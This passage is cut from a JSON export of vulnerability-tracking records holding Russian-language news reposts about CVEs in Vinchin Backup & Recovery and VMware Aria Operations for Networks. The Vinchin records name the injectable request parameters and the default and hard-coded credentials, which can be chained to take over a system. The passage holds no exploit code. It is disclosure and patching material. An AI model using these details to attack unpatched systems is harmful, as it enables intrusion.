\u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432\u00a0\u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 CVE-2024-22900 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e setNetworkCardInfo, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0443\u044e \u0434\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043a\u0430\u0440\u0442\u0435.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437\u00a0\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 NAME \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 POST-\u0437\u0430\u043f\u0440\u043e\u0441.\n\nCVE-2024-22899 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 syncNtpTime (\u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c NTP \u0432 \u0444\u0430\u0439\u043b\u0435 SystemHandler.class.php \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u0415\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c, \u0432\u043d\u0435\u0434\u0440\u0438\u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u00a0ntphost \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 POST, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u0424\u0443\u043d\u043a\u0446\u0438\u044f\u00a0deleteUpdateAPK \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 CVE-2024-22903, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043f\u0440\u044f\u043c\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u00a0file_name \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u0432\u0435\u0441\u0442\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u043f\u043e \u043a\u0430\u0436\u0434\u043e\u0439 \u0438\u0437 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0443\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u044c \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.", "creation_timestamp": "2024-02-05T13:40:05.000000Z"}, {"uuid": "ec162ba8-9259-481c-b449-72901a31b343", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22901", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5374", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 LeakIX \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u0441 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c Vinchin Backup & Recovery, \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e \u0438\u0442\u043e\u0433\u0430\u043c 2023 \u0432\u043e\u0448\u0435\u043b \u0432 \u0447\u0438\u0441\u043b\u043e\u00a0\u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u043c \u0440\u044b\u043d\u043a\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041d\u043e \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0440\u0430\u0441\u0442\u0443\u0449\u0443\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0438 \u043e\u0431\u0448\u0438\u0440\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b, \u0440\u0435\u0448\u0435\u043d\u0438\u044f Vinchin, \u043a\u0430\u043a \u0438 \u043f\u0440\u043e\u0447\u0438\u0435, \u043d\u0435 \u0437\u0430\u0441\u0442\u0440\u0430\u0445\u043e\u0432\u0430\u043d\u044b \u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0431\u044b\u043b \u0432\u044b\u044f\u0432\u043b\u0435\u043d \u0440\u044f\u0434 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u043e\u0442 CVE-2024-22899 \u0434\u043e CVE-2024-22903, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f RCE-\u0430\u0442\u0430\u043a.\n\n\u0414\u0432\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438: CVE-2024-22902 (\u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 SSH \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e) \u0438 CVE-2024-22901 (\u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445).\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f Vinchin \u0441 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u0431\u043b\u0435\u0433\u0447\u0430\u0435\u0442 root-\u0432\u0445\u043e\u0434 \u043f\u043e SSH, \u043f\u0440\u0438 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d.\n\n\u0420\u0438\u0441\u043a\u0438 \u0441 CVE-2024-22901 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c\u00a0\u043f\u043e\u0440\u0442\u0430 MySQL, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0438\u043c\u0435\u043d\u0438 \u0445\u043e\u0441\u0442\u0430\u00a0\u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432\u00a0\u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 CVE-2024-22900 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e setNetworkCardInfo, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0443\u044e \u0434\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043a\u0430\u0440\u0442\u0435.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437\u00a0\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 NAME \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 POST-\u0437\u0430\u043f\u0440\u043e\u0441.\n\nCVE-2024-22899 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 syncNtpTime (\u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c NTP \u0432 \u0444\u0430\u0439\u043b\u0435 SystemHandler.class.php \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u0415\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c, \u0432\u043d\u0435\u0434\u0440\u0438\u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u00a0ntphost \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 POST, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u0424\u0443\u043d\u043a\u0446\u0438\u044f\u00a0deleteUpdateAPK \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 CVE-2024-22903, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043f\u0440\u044f\u043c\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u00a0file_name \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u0432\u0435\u0441\u0442\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u043f\u043e \u043a\u0430\u0436\u0434\u043e\u0439 \u0438\u0437 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0443\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u044c \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.", "creation_timestamp": "2024-02-05T13:40:05.000000Z"}, {"uuid": "d691794d-d7bb-43c5-8fc5-1857d45f1658", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22238", "type": "seen", "source": "https://t.me/true_secator/5391", "content": "\u0412\u0441\u043b\u0435\u0434 \u0437\u0430 Cisco \u0438 Fortinet, \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u00ab\u0442\u0440\u043e\u0439\u043a\u0443\u00bb \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 VMware, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e\u00a0\u043f\u044f\u0442\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445\u00a0\u0432 Aria Operations for Networks (\u0440\u0430\u043d\u0435\u0435 vRealize Network Insight). \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445:\n\n- CVE-2024-22237 (CVSS: 7,8): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0439 root-\u0434\u043e\u0441\u0442\u0443\u043f.\n\n- CVE-2024-22238 (CVSS: 6,4): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n- CVE-2024-22239 (CVSS: 5,3): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435.\n\n- CVE-2024-22240 (CVSS: 4,9): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0447\u0442\u0435\u043d\u0438\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n\n- CVE-2024-22241 (CVSS: 4,3): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u0437\u0430\u0432\u043b\u0430\u0434\u0435\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c VMware Aria Operations for Networks \u0432\u0435\u0440\u0441\u0438\u0438 6.x \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c\u00a0\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.12.0.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0432\u0441\u0435\u043c\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u043f\u044b\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 Cisco, Fortinet \u0438 VMware, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c \u0438 \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u0434\u043b\u044f \u043a\u0443\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.", "creation_timestamp": "2024-02-08T11:40:05.000000Z"}, {"uuid": "9a758785-7bb5-4a61-ab23-6ebdaddc9c79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22237", "type": "seen", "source": "https://t.me/true_secator/5391", "content": "\u0412\u0441\u043b\u0435\u0434 \u0437\u0430 Cisco \u0438 Fortinet, \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u00ab\u0442\u0440\u043e\u0439\u043a\u0443\u00bb \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 VMware, \u043a\u043e\u0442\u043e\u0440\u0430\u044f 